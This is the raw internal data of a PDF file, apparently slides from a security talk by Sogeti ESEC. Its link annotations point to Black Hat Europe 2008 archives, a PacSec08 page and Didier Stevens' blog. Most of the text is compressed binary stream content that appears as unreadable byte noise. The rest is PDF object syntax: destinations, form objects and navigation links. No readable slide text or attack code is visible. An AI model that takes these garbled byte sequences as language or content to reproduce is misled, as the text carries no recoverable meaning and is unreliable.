^D#OVgU~}XusWj|XzuD!'Y+h!nq"Ϥ(<86? k*-N<]6b0sR /DIO/8Q47O;]~@hrzռºU*[3WFL*rIta'RP$m@ 5d!6ƠF;o6tnn|an1,T4ëB{˕܎j87Pꕮת]=43$rWVmYףWJa[hф}ES$zg u ҿy a%-kblH -/{+u/(,J.5tyȶa3 G#K1 'hZT|q'h`3(mhp@ bm?>UNv\;G?qf>p!ڢjYFGWA -D{ I>c͍ <50[yZ%ULh~%n'2 x7PaہToWLqDu^ 8WKt=aEcQAy2mܞ8m-nަu?CB{;#g8܍7k\iUﯟ^#>́lc=u2&n>~"e\rRe8T4cy‚LjWE -a(Oq˚h&Ϙz"AstW{][05_ꕰž[CᒠpO=uSM.]še6$CVL`$"K JEpP+)!alyhNRw{pR) aD LdO&+/sM^I󐣂5\^wފS+↟V3IpU Pʣnu+6Ȟ ҆S̟7jyphӇIa' aN1(t`GiCl6BKq`AAu!+9sѭWOq&z+ہS21@Eu.gqE˶ƈ(0ӔLv.[:x&| 1^@.`bf6!'e5A_x A~z`kٳ*oF@E sM ]h )[SjgT6EbA: Rq6|8a.fjZP6x^ dhLuMA$Z2ubc)6Zyi.\Kʄ(R "e#ܩhoqz_iC"}ΨQc;ẍ́j`=λPOkծts%5*)\t,( %p._t[ scMY/(@&yޒ"HNPX!d'16 -FVO:? 鵓 MYop8sndi<]@]\/, ݜ3)p Pos;}hk b#9&^f9w_7LurLk⠖% Koɋ'ds:ـONw6:rh: AJYW9TFq@K锎nnUث0_vTLu' %-Ɓt"o/492xΠ#}TQ59g`z02ʺjs$ij|hGٕG.0 ^EA@Vxl( hA)ՓA^pI0=^3T,?//9n k^j…ݣ+aX{69puRd~H} AAɫ[Ė ][Uuk+RS Ή= 2&\i5S`(Q(>/Nfz <&28dBѝ n4L(Z_T5a=C  2g?&>4}oqz_iC|pXz_W^? z u W,壺+GF> ;8$z9uaYIm`N~ŘGCY.Wwo%ɗϞϊ>ݵ1{quEms?~gEX:dAlfG`DxIT ~"%Jb;:˯HhP<;qTX" M^F!>}DHbBQ1*W.J| &p~h8RZ`!چY;furrob$T  H*@2Η?WBP' CLO8c%9+AmH5xE !eswQQu MQyF0zhT=srj9 ]J1vrjԔIX,NLX;aOa v(ʇ-1C֘0l=} \D]Z{Sgtgkȩv>+AqDQq,Wpp%ODT7}EϭӽǸ ,(v_~GAZDο}B ^4B7 s{]8h޴gzW+<)ez%ˁWSvKQ E<2zѿ~@=Hj&ѝ;zZ{~u5%;qwӮլD5eK".(+4MPkP!NsDz]z,ul|h)zWC+ /sk鵤x r~~ށ&CLgaḇE|p ptBXpsRV8LT Ur}ɵHV9ota?m輒!L[gϗ*ox;#>MhkԖp¯#~ :z_p0=ZׁLIP'D=q[.H׹il g'X=F;/y6tnz^?[uIٟɿ}ۗʻk#T Qso՚b=3uU߬ϴ3E^c2z(:5Ot.o^ ePP{~u5OCXx;/U\K)u{$c0s[߭){/2E*(Jd"m jp4JEWsuq_bPE)E^SM>HJ7 y˽TJBe?bQB+9FNj'VyJb*aqcVO+QaJ-h G &YE ,TFy[%<>#T_@!A`{u.`:y&{J'hCy I!\n<2#43]$Qy{Hg]$c/mfy,6_\/,ŦS3RyJ~ d^)a4wD[1Bx8VAɋQpBT尅$7 ^,9ηx# 2 c,hkRI!$&,ƢZDW`˯# T.M+{iKؗwY'$}@0,Q*KtK$ۿ: /8{9~~7P畮H8ۅ>+pnѸ (.+--#&- D: ջJH&Ɵ($ PyjK3WhI^SJk|eժo ^7{Px ;y0|L;??kORie :q2dސ}S&P%D負E%*yyUN^?? *2RhY`jʱC kFaJV÷d^s *7)<7|RDUX䁐P.$4JP^A3A"=[z.r&pF?I,S}]>}yN +/"ymh0d%d)L{gu>_鯺W(w:9"QI@ٿ9 ?iv 8'ht;o/s:>D(5؋]G#q5XtyJ>MrE b^YfM/䐏xؤ%+^![LMyc2+T M#%"Uh( pŤЯE6 dPgmұN/&1q  q]Z~}3~7͋}$h׍YLz NE롞]_b_;ץ~=a\7?6cØA\8ַt+bm|Uoz0r]8?~oΝd8 #^¾ W w^-,߭?㍕<ИFp F7G[63`_jOzMG(ZP:&t9lD+\ Ef"o@>ܒ+K*?Lt|Q93ol ؅HQQcR7'_拓`j< &JsȪM0A!J͕P ƞ@aBSgIF DFtOʔ 2\ެY&Dۑƀ)/<{D6ftc̹`7 82Q ۳`l؉ !iK7  V,T84z?a#%(!ZroɴRG%H"mW{yU]{yaf(z"HGz*MEХ fP͞(ޘk&7-DШI<7~9{ g^k{`G1G6{MsNל_r X= #Eu.n[ۮA-M6*k=loIpֿMY pgW0vApLe[^voW'1( oJZ0s0`I,)DvەK@T^Oyj7! ".y A=3s9k=c$>yM/tyFa65^v940aڱ'!P&xWe[S(NׅlLRYVf̍޽,\azCVLsLثϦ ^ʙ /sJϯ?}GJi MK1Ꞛθc;JvV8;hȾ)ܱ `[fUFh돲B,#4G޵ɔ9wͽc^ϭ}kvR*n\g7wfeAY{{b>\{`., Sl7pi͍1c[-M)f2`g׮Tq2Ua+t [jyyDfy߻V2HV )k931EHp7өmoN*O-PkY5b"_b`S Y á:.ki­com5pA+ .|5b8t/0j9AJb5LgW^qv0;V' Q'xusK0|dUNҞM%='fy6^O/n5jc8_8G{۫ʯ̎ JvD`*񜰃H3ͬ\'1֌Ϟ`L?S T®<0b+=3HWf8~́Mz&o*W٥#Z֥iHuOҮ>2xcbdq6=sz1[clmй)Ai;aI٤P9MmŮ>λ~PFPG4躹 s*k,onȄ]]_$vp싟SVg/xv<1p"L`tN,Zg`]`.y%] }fc'9ienTم&Y-oqF ^<vWGؘժ^˝WΤl:k?#DmEn=i[ۖ4!J;Z6;(lZWj"7Fo8lɛwČክSn}*C[xyɸk<}auƖt[pW-9zvf ݽ(m4iG=V˰g'Ecp⋗bG2Dj䎋|!@{s" c6١+i9zg쭹ʯ[/Oc U4x\ nc/gYKWNfkF>_siK`,1e|gyW*kSpo jG/8M`XAp6&02XG6%JrtJ$;rfM+GK.K3uM?ËeތӬ{)$pN'F`*lbd48^FmL b v] z AfJ `VO;gL/-Ư?טB湞M(n={hGMy,Wsi/perȽB pˆl((sIelƱln'}: kID즌~[ +o8qG=w36 (Ћuюzj(,EBݖlb/3ᘕy鿲a5-iz ~_:[N( gХbP!21}׭o8|ݥ]7첁>Y$ӕβÄF\AYW'YSZҔS0@:!#z B̾l+81fŢ2)pnK||g㿘BΈWZx:#ǝSS,lȒ.k㋇K(,"[ż7" mAK[ʵ>8b; *afkn Ea~ٚS0(縹c;5/;h㜦N7m.e("t e.a $s/]:r/ ,^}a=ärXE\εD 1>[tِ mhm]nwЬ&V6pMqؾƲ0PҔ4e䙍6-8Tb qc48 ~G_T]˿~}ê+֟.3leXݤV NZ?>~*~7BpO@ ibIb圝L`BvN0xv0kXCv0 ba굖S_+XCs0x`L?rJW_o_18ң߬>?H^"ZtDFM_"R*]qMøb֪t YW|ʊ1sִKj={M+~Ӗ}7WJLnRѐ@FA(CbxEX rlWi=AX+>OΟ~6 fevFE{#,?gC[,b̌6~_9Ͼ#lqϮ[_kR5jw UV`3Yd,uk֬ (hy.LwLhܱ̚ZZ7ȣe z;^x+:rK8p|4?9g}ޚ5}l"Rn}s]sǢKf.+|~O_w卛: (icC%lmt@A`>;g(v{n ?eбP14k'6SxΏ4|Cu)bQY7޼ -nsrq;0|M\f6uA[=Y6Û bv/xmH͌!ϴ_)EUGlOU0_pv0kXCv 9%FA_wH2s9=f *m!d(Շoum =9Ze0EfR'*pcL/WɑlyJrGi 6gL_V2zvq{ܱcЕ=4W;ؿ㵛f]9pm-onMF|\}diG^loǞx܂} 8El<. > 1gVEŻ.}a9--3[?{u/Ű\(|K)nb˛pBl2z}{{mh7lsk~FA=;}l60ngAWˋfaT7Q&4A3I !sVw҅!qg˩K-x(@(A@\>2-J| 4@NV%, ԨUP(v3laX'JCV=:E[{4kAbV zhrK /PF4ZUW3ΨK j$?8qtI[+7>^LJ[n}撥%#]iK/]Q6'/{zw665lEM X}5}*zm}}yeß 8Ԕ^mA0wN;h}Ʌn(n# \]v;rC+,)9cYStN7뿪m7qU;r1w^ƼtB ҖF?,$HW+?''kɘݧJ`2VT,Bj]$"'q8EVj%#_K x=Yē ("WEQ 8Y\mj;h` )ӀSՀZ&':HUFx%-QDẄ#Qz(jI[U3f}# 5c()jnM,ixR戟~ʃ&{jcV|_e ͑#4͝1*оi/{ˁ(hxGwԍuzluzkjUM6ly:mhM6W櫗\{W?"͎lyW.eݎGlܒ|bk-}Ưn0|M޶u-%UuYUMƖ^3msd9V_gWuY׬7 ~J=/?ЇOg=03.hTXw>ѬC45SD$NdOOjFNKHdF %*|u29gݞ.L dtZ$=s%XjN=&kv0SV3v05^|Ġk'm2#0uu\%(Of¡8+ g"Ӆ\\a8xmJgya立ZgjyGVv`tp1W^j}Vle ڮ"6}ַ;.jp&K{]nrI{ \x7wYt:zs eGi8MmK-xYۗ_#uW6&X@Xz+ml3auEͺm!;_5`V7 XqԪS~_T{yo07-lOU#aHįTIu5?` nsT FarOQxr'JV}jSzC*ch$Cj-UL>HhҚ[+v ;3Lq1=$Y6)]g(n#2ShVfbF1&\%7ȷs6yh=fJO&B&כ}X6_|L//Xme5K_{r{&l}}jS6i MZ߼O^1oce^5YW3ݼMWl~꫞^~Zߑs= PqxN]cЍ{Vm;S_[3K^ۜKsu "Pcso)CϔI{4bv~*2}wl}gӧ_~&M+lI膪x2Py\;C6pHuHH>SdcF$t>I _ϸZbn+,$%p e835 [pOc:S*}.u.Ζ5 Qcwtrt?R$I 9Q6ss(>ÛwQHUޖb| 3_G9Sdž_r"k16u,б]גCKvԪ&m_jc[ܾ߆V-Ҩlыʆ޳XeVll5sq<{_:-cVイ^bˮ1K\tަa35O>\O+-M7frf.Cb8 \jQO`plL7ŮV!yRDVʥذ獜|KT܇$ON"&Qdl9ajrҞJpF|,BŲ,xgPE:bUY$cn;ؾQShbS~CCRdt's.JD RUNt|bGIk3*lҕ31d)?~ovwi;ߺ}moYҥt:mf}ͺmeM._iJNi8kL/GyϽs~ kOYnp׋jOXr(lkunkq(1K@Pgܼޅ ,bzob oc;ư f/OEl5=8m(gZb'kD!LxfГ3O\j2ZgF9m*d>-euxZqkKXHJ>9#5)gDYڝPӳyyHUb3)Zքl%Ð+^M# \RqzMF'1HUx$:6L|IkILȷ|m}gC돈%?j}A2!-eZ'K-m:G_~,;2P;F F FG@Jn듟Ҙ>q>۹!Nibuպ?El_hes("qwu$>]l~Ffv0H6im."$\f!gYƿ8.6o_q@E֔.S ޵{w{[?ɖ A=lvߞS}켶9K:y0v[ݜ.oYܼߪ}W6\QK_Tyu&?ɛ%w˳a/ϖ^pϽl}K[{ڟ/Kߜ/ t;[?ݏM}bb.LWh M&D>[0OE~18^atFZ؍ݴȒ7401B"Vޒ)kK1p#t يxTVQ2w]ڔ鹥[.K}\b0$M ?ڽHmNxaW}]7uCXܖoy:IYJžۡbxa|G VZC 14=/(e.FcF Y$6LTZ+=B'(ߘef2wTm5b,$O.lҍ9=rێa ~r[{WPҡCi='s {0x廋ZVag Ńä[J=I[H'Y٢&tK?°Bi;F6kO+a s|5o;F F F F@+| Z75=xbb#ΫUG/٧߲e`}HbX-Z$Wℜ`fI@V#-b_B1X'X󋏹xho{qc&ox;X7L7l`=q,+4ow;F / y/yD JuVyIj͑L$T#(>G1jW_poYs{%O@@@!`@35{8 sc$$6=W^^^3vXڵib&$ 8wȑy=TtxvKdSL$N@,d&2j&9Y?p0Ũ_|)a\0F h[urۇu,iwݶ~=^ӧI/Ш^5.$1b]En0b m"_~CD<R6rCW%/S>APK2P(R=9`V|15ѕ*y#YcFCo>`bDjd䖩L߷l{|Q{W;|{}y}k{c|ح[GR1tҶxM D$T٤C3~bbbbbL}[DcH(LI1O5׫Goɹ,2He(cMX154F'HQb|/MP=(b/eÖW`F;Oh;bi? 1 -Ht6횾wPszA T77bY_>{G{\=m1thxYK.kш9u.3H;x~kgt&d@0a{D0KV71bՄKw}0h/ID]\;''Y 3ҳ+ظ!=G-7ѫ]-G:seNp3LKZ;w)lb5DZ1X⦰0]/͕LqDq1CJgplQ_$dw_}j{dnN03j U{!#a*zU+p$ 31Jg{8o+4MM nR,$-'NڭӄA!ǁcVg ]QF ~vCntDҵ$V&ua[)tzl;m=likBb-ܢ[,]WZbł+ղ!M4X. Ό"J64wbG@@@@fL0b&@+) P*UKڢuL[,BjeP~ؗ[sIM7nx׌ql㮼z\ǴiշYv>jrTd81~Kbϓ^[nWґO:-AWnK/a.:M fLȁ{5^'(5׌[zQ]###p!#@U}0?L @az'v0v?}ߞ6ўl, [YSWU+$,_1Uab1K%V ?5I C<3?J&AG)lz%}?ދ'pխ{) ZER'IDDfauM\#VkKdM,I?\P'[LJ*蘅s3T/%䨏ΟQj>cCoNYbֈaR&QEЅT%2lr?vNLr0sh_̄+3Ij6k?*0.!ztEE*5ND7>ͬwquV={mlޥ#yN-ul cbbbNv=ĂCݫկTT ViJ6I1F}7㎻ڷ-{mtĎTt"b3ǧ|YU",W*2[WK=%T0V)VFI?hu!D0/9Keus{1EedK읚?YTwnj 4n.;~3iExKoz93\ht1,YYLqq؆$1>C~gV,?‚ QP$ !3< ,[d>!=>J +i(H*e&1o3'iːCُ?uĂF!$̉qHp_ uނ(~k?v}\A?'L?{^ ye8OfiSvz{ӢC u!5bybbbb.XP1y8OFn.ewk /ҡSАI~cIz~f=_x 87}'tϿ/9MĴ7OQsf@L?{ќ{ c_`1=7A lz>g2uAz??|$V2,'Hy赩w}7bLKY`U>11111:#Æ_~?,gşXCm&Rtf gĩ7O5 嬗|oה`ne+<72>"F F F F@;?5p_x1zs}ݦ1k,7r**>XKw`-Bz?}^OmbBP odFSy|3yρaٞbtm̈'*,*vU`e%F8/F#8#x(۴Q3N#ݱO /~k6xgpޛB <m~u 4 tҭ%QiQ BGID=1brthOV%- ӡz]UB9Ӹ6L%f#M2NS?}C?t+SztG5VU\Q!XDiDNf_&=_=mLyUUԦ*41Dic|Fw.Mwm WH׈aIA$CGS=G 7 ~2C Wc1 ˎ/~C[ 5ۿ@dl,c7=wΩ\D3zP/ wo@f,ССꌿ2s<&gi3<5 <*(TV;N9Ҡ'Y7V>i접e{{&twÃiOvpOo3JnNց% QÊ[R'}rhY~KJe'˷zY4QOw5~Z#M}ݳY3#*$":[&40p$PoAd3:أs P3_M{2QHP/z`-9&O4?J&$JUDWK/Y%Nr[ؤ7 !y3g܍VCf;I Ͱ2bQ[J qDFI21 MVssGI}BB<7Y+X)^ 4Ⱔf!s%`4OmC)I9klﰢNt@z(NbOvr+iSZh(NAkTnhIr>Ҵ q;"e$!4q򎺡L nh')z֑Ji܉|4x'ebn+ieyψnZvP&)iqCcJC'aF@DMrݰٳ Tԟ&b|H`v_SNc&9siTY%Kq_g߾vX&juX[mCNFYu,|ci?Ox7U% ӴL^`ƳRE=QI_g7$ѧD?WܤOtz(Csg1xMmX0 ujn+&V4IY%)A+C$FH&h(wÙpTG(_U<pmg4Cde4+un2￧|MQSRBO42h̢YOLW\TȆ^8i9l@>9b Ho2.0vG}0)`(~_R x&81-!d0$}}#Ro1xHF黿~Aq]Ψ)xY2 !\mBT4ipP&AmeZV M .;WKH4+ ~8&X>s2<O } a <ۇ~NJmfT`ArK,003]fnK`Ts$=_,uS+I3p=EҦӧ:DJR/RECa'4mv8$נ2q3ѪUEUŤ1SE%MmvZ*Ed7h^/>N120 ? MgTHeK3IKNAL>^s)k>0 TMP-V%-3%4hAByVs Dy)_M^52VAފCB,$"'ӛ$AVm~'AƁ`̈́Z ^)O p- FWM].A311<s3]K&1.Y*(|L* AXd|:&FotC)MgA]:IZmbPsP'RlM [NNH}97Lp "<-T?eĢnРES T9j7/y(y99 %#)7AOGDe% Γ.g(#ЎGdZZ p(EDcM]alT h+(+#ƜC3Og4^Vv e6[FTdOM4\[r;IF0B&?5Lx4O/ ذackYoB5r,jJuX:y02ޏ>0'F/La- Dx{ΊÓFaP2HbBVZ.+A3TuH*6RiGyMd|Ow#v~>4ŝies21pSĴd__N ,CKC> ET@F#jX jʓUn|5F胺ђLLN>}睁is&m`0L35,>ap!a1af ^-dHg_%9? $khh7٦M8Pi`#*C.VjD h-0?rs"ФOK,`h;Sg"a`Qz ($뇆_s7n2ڒ['ҺW8ll*k&*y*,jC%,x7U={(tUv{$̭RYF7HΒ!zT#|t-~-2,`IICX4nd5dZ4 4JG OFa]N8&6R@Hbth>"ÄwԴi"$C6ލ{@cH`2f<[JyEy$o ̼sBNs;h_!9։7OR=8#=HIѴk4ƄR] 5Kj ZGe +iPA< NC|}J.vHgEDδ!Aq 2O*+ %&ƒTY$YVTzGRM\`nOm1pк8\ y5hI$ ez!ӣ%ѫI/=\ “B%s7&?XF1_|'O= ]HD2FӤIZ`!aR =0`7' 3쭔-"`5;d /*j*phx K2!,sah=gnF- q'6I:4Jc aB`/kYڹɰjN6@pFgay{S!Iviu%:M4 ? v>EVzXnq3LZP״5X l-M0% [z=LM2GLT0Ok(7XA-i8e(3#A|x$:XV og0rϢKT#v0.ᵟQIA?!t, M2c?6.1ʬ A~ qf^MYDTQ'A{dI3Q sj]fOܓ o8dyX>щ$D[{g 5 qK2*@0?21&M8`5 lVΨ%' shD[5pQRTrY9&VФJ[mdp70-\`S≠txœB(Pi_?:H7iG+e|r`Ξ;2h#"| :_K]5hH@y,o5F$8G'g%.d$XT0)$ \THP>|un|)фV>*^`LLPZ]hهjOfde|޲ِ3'De~P &ckOK$A]j՘h!d,42jT KUcye٧f|!=)[Iؓz' :x4L'6䡄x cNX~hl! “&D=$,rbJ.^LyF3=ϖ̈́M"!o*/:(8?h TɃJN>Z~%eǾ=UzƴP:-'XW1~ (ʣVb'w,KhyOXbR?x0J)\UG{ nX:Y'&%i^na-!:eNp|*g^*Ab!0B J lCJDaFa~P7s%D Xo#L$0A aJu+hrv)IK* xy[|7:E#5:Dc۱5U6(J%U`\2A̦6d'3gUnrO ѻ4M{MxSO!SIi-7d& aIHyhb]y|:QT;h7p[H_dڃJtj!/Yw0 ѴI Ξ(VžTT%.8$w4 qџg׭h[(3;gX`Ԓ@EAkjeꘛ^H$qΑ gT&V'//@dLt$Q}[1MLͭ:̇u{G9VTۯR:(.]AIHar ,vN*F*<RƄjMqPĴL mjAa ch0*76ܠ$ti7 JbXB|yXep-'2:.jT;HЕ? y7|e;BJ&+i뱴RxEx2.A\&[Wf-), 2mϣ0IET3X%FThzVL,.%ʅqEsJ8Cؾ  V`|A&)!d"DZdr6;qeVj[T!r=i¼-v^OyLYи8VoXyBamV5mrȼhLLdVf~`Ś""{F ,d"11Swe)8gyD(^TH<s6-ZkFR@GÅ1 (pZAANv5OrV&i42*&}u2Asv;Ӥ5ӼmNU@Lѩ(e!}2 t4)=jD, ёFAMTAyF!á!*&| g[cg)3^aL01t[, ѯ' `Sq' J#LLe J7ѽ Xv6j5{Ȗz47,,k #=\3Z i\APP' m ԅ(u< ؝8A .$@#b8klsNZ^+hR76*UӘ 2;>T֫b4Od̠ b"G5J@0L0~ZpʗKyYd#c$(TA KںP hEp*`Tyi,㘠.^X'' 7SuȦ,-CZ"@ fe ha2wB>< ,Ӥaهany+l,D*p)Qp" *% Cр%8X!'EJ̏p `5 RAC‰X 2cz'=#Bƃn`AwzTG ̭:(ڶp)yD5bd[VI_=%IZmcLG;Ή$P)e_cYd܈DyDr 7 IcR#VA| Eb9{ fJ'vXvJq|A a6\3Եh#%[Y@mf1R5`SMO B s+MSH/qU.45lU|,UJl.i+anVL =%2oiimocH&(#ګ 6(Y¢o$y! 1{X\<Zwb|5aFsVĤ 4FEF26TbѴdzq[tS!) k%YKѳ8G-aȅ:jGcLSXӂXSCZ *8I"F'G%ynAHrDKNά-e!]lZHBQ (%ABD*O>A .U䃼6OE9hc>$8=S!i Duj \ s^ 4T>̀2T!Ly19(kS RɕCA m$eilZ-g*RE aYlM ?f3-MX.3 jrcPQ5Mڐcw3 . ''͎$L?CFAaQEpx$jJkI@bd<54 ڰfDFJsSY\!@-wy󌿽P™Qʹd: 4eWo]a .g^ +,Rτʟ:.) QMF? ?$#iRr XD$ڢ !'*Ȩm[$229,v@ZyĊfоBULNilm148=414R`ŵ4dC77CHIDiG*y0.j o|‡CւhiI*G' 4In2OeT~OB b7ޠjz Mk|¬1g48k/<9աRymF fRѩ<fl &PyD?=qfyA(T6 {}ajIPO,:Z\]Mk<]<+!DsK&')1:7HhZ9r aGeGf7UYR\X02rH#yzm{RsKnM-(pTLG^"[Q{OѰޝOh5v,F EkZH  &^k0Ij3Ǔ$է~`E5ΛV8yvjC' Ok~B? BQB=|P?& APQQu3'&4"p8y48`'FH`7(Ɗ7? ̗&ꏍ "G Ȩ-s4Es(Ԗ6 u44 mx b"ჄH f1s^4{n7AD?H Dz1Z켁(A#.W0S*jȓ~pcp;[X+*P ^d (a,4hz  7їq:b2BS) B%oʀ>{"ajQbcIP qxaNse*&ak0Uf0jH"K%19*AP K$ p.?a1<8X(]>stream xMHaї$T& R+SeL b}wg-E"u.VDNC:DuE^";cT03y|URcE4`λޘvztLUF\)s:k-iYj6|vP4*wd>,y vڴ=S԰79 ڸ@`ӋmvUl5`P=Gj)kP*}6~^/~.~a2 nײ0%f|U 9l7?j`l7"tiNf]?uhgM Zʲ4i[&LY_x {xO$̥߬S]%֧&7g̞>r=g8`候 8rʶ<dWT'<eL~.u"A=9뗚]>313X3-$e}u,gmg664$ыEzL*LZ_j_]Xy[?Xs N/ ]|msϚƫk_WfȸA2)oz-di2|m٣j|5ԥej8ɮeE7[Q|IM%ײxf)|6\ k`Ҳ䍐.> endobj 112 0 obj << /D [ 241 0 R /XYZ 334.488 1.245 null ] >> endobj 113 0 obj << /D [ 276 0 R /XYZ 334.488 1.245 null ] >> endobj 114 0 obj << /D [ 1237 0 R /XYZ 334.488 1.245 null ] >> endobj 115 0 obj << /D [ 488 0 R /XYZ 334.488 1.245 null ] >> endobj 116 0 obj << /D [ 631 0 R /XYZ 334.488 1.245 null ] >> endobj 117 0 obj << /D [ 992 0 R /XYZ 334.488 1.245 null ] >> endobj 118 0 obj << /Interpolate false /Type /XObject /Subtype /Form /FormType 1 /PTEX.FileName (./figs/logo-ESEC.pdf) /PTEX.PageNumber 1 /PTEX.InfoDict 160 0 R /BBox [ 0 0 104 105 ] /Resources << /ProcSet [ /PDF /ImageB /ImageC /ImageI ] /ExtGState << /Gs1 161 0 R >> /XObject << /Im1 162 0 R >> >> /Length 68 /Filter /FlateDecode >>stream x+TT(T0BC 6U(JUWSw/6TH/J5Yɹ \.@ endstream endobj 119 0 obj << /Type /XObject /Subtype /Form /BBox [ 0 0 5669.291 3.985 ] /FormType 1 /Matrix [ 1 0 0 1 0 0 ] /Resources 158 0 R /Length 15 /Filter /FlateDecode >>stream xP( endstream endobj 120 0 obj << /Type /XObject /Subtype /Form /BBox [ 0 0 4.689 4.689 ] /FormType 1 /Matrix [ 1 0 0 1 0 0 ] /Resources 159 0 R /Length 15 /Filter /FlateDecode >>stream xP( endstream endobj 121 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0 1 1 ] /Rect [ 47.275 166.909 319.959 178.829 ] /Subtype /Link /A << /Type /Action /S /URI /URI (http://blackhat.com/html/bh-europe-08/bh-eu-08-archives.html ) >> >> endobj 122 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0 1 1 ] /Rect [ 47.275 88.035 238.257 99.955 ] /Subtype /Link /A << /Type /Action /S /URI /URI (http://security-labs.org/fred/docs/pacsec08/) >> >> endobj 123 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0 1 1 ] /Rect [ 47.275 21.116 177.406 33.036 ] /Subtype /Link /A << /Type /Action /S /URI /URI (http://blog.didierstevens.com/) >> >> endobj 124 0 obj << /Type /XObject /Subtype /Form /BBox [ 0 0 362.835 272.126 ] /FormType 1 /Matrix [ 1 0 0 1 0 0 ] /Resources 157 0 R /Length 15 /Filter /FlateDecode >>stream xP( endstream endobj 125 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0 1 1 ] /Rect [ 336.542 15.425 360.996 40.094 ] /Subtype /Link /A << /Type /Action /S /URI /URI (http://www.esec.fr.sogeti.com) >> >> endobj 126 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 232.399 5.96 240.369 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation1) >> >> endobj 127 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 1 0 0 ] /Rect [ 238.376 5.96 248.339 15.425 ] /Subtype /Link /A << /S /Named /N /GoToPage >> >> endobj 128 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 246.346 5.96 254.316 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation3) >> >> endobj 129 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 253.735 5.96 260.708 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation1) >> >> endobj 130 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 258.716 5.96 265.69 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation2) >> >> endobj 131 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 263.697 5.96 270.671 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation2) >> >> endobj 132 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 268.679 5.96 275.652 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation3) >> >> endobj 133 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 275.071 5.96 282.044 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation1) >> >> endobj 134 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 280.052 5.96 287.026 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation1) >> >> endobj 135 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 285.033 5.96 292.007 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation4) >> >> endobj 136 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 290.014 5.96 296.988 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation5) >> >> endobj 137 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 296.406 5.96 303.38 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation1) >> >> endobj 138 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 301.388 5.96 308.362 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation1) >> >> endobj 139 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 306.369 5.96 313.343 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation4) >> >> endobj 140 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 311.35 5.96 318.324 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation5) >> >> endobj 141 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 317.742 5.96 328.701 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation1) >> >> endobj 142 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 326.709 5.96 339.66 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation28) >> >> endobj 143 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 1 0 0 ] /Rect [ 339.078 5.96 348.045 15.425 ] /Subtype /Link /A << /S /Named /N /GoBack >> >> endobj 144 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 1 0 0 ] /Rect [ 346.052 5.96 354.022 15.425 ] /Subtype /Link /A << /S /Named /N /Find >> >> endobj 145 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 1 0 0 ] /Rect [ 352.03 5.96 360.996 15.425 ] /Subtype /Link /A << /S /Named /N /GoForward >> >> endobj 146 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ -0.996 264.495 182.414 271.878 ] /Subtype /Link /A << /S /GoTo /D (Navigation5) >> >> endobj 147 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ -0.996 259.104 182.414 266.488 ] /Subtype /Link /A << /S /GoTo /D (Navigation7) >> >> endobj 148 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ -0.996 253.713 182.414 261.097 ] /Subtype /Link /A << /S /GoTo /D (Navigation11) >> >> endobj 149 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ -0.996 248.323 182.414 255.706 ] /Subtype /Link /A << /S /GoTo /D (Navigation21) >> >> endobj 150 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 182.753 -0.996 291.642 5.96 ] /Subtype /Link /A << /S /GoTo /D (Navigation1) >> >> endobj 151 0 obj << /ColorSpace 3 0 R 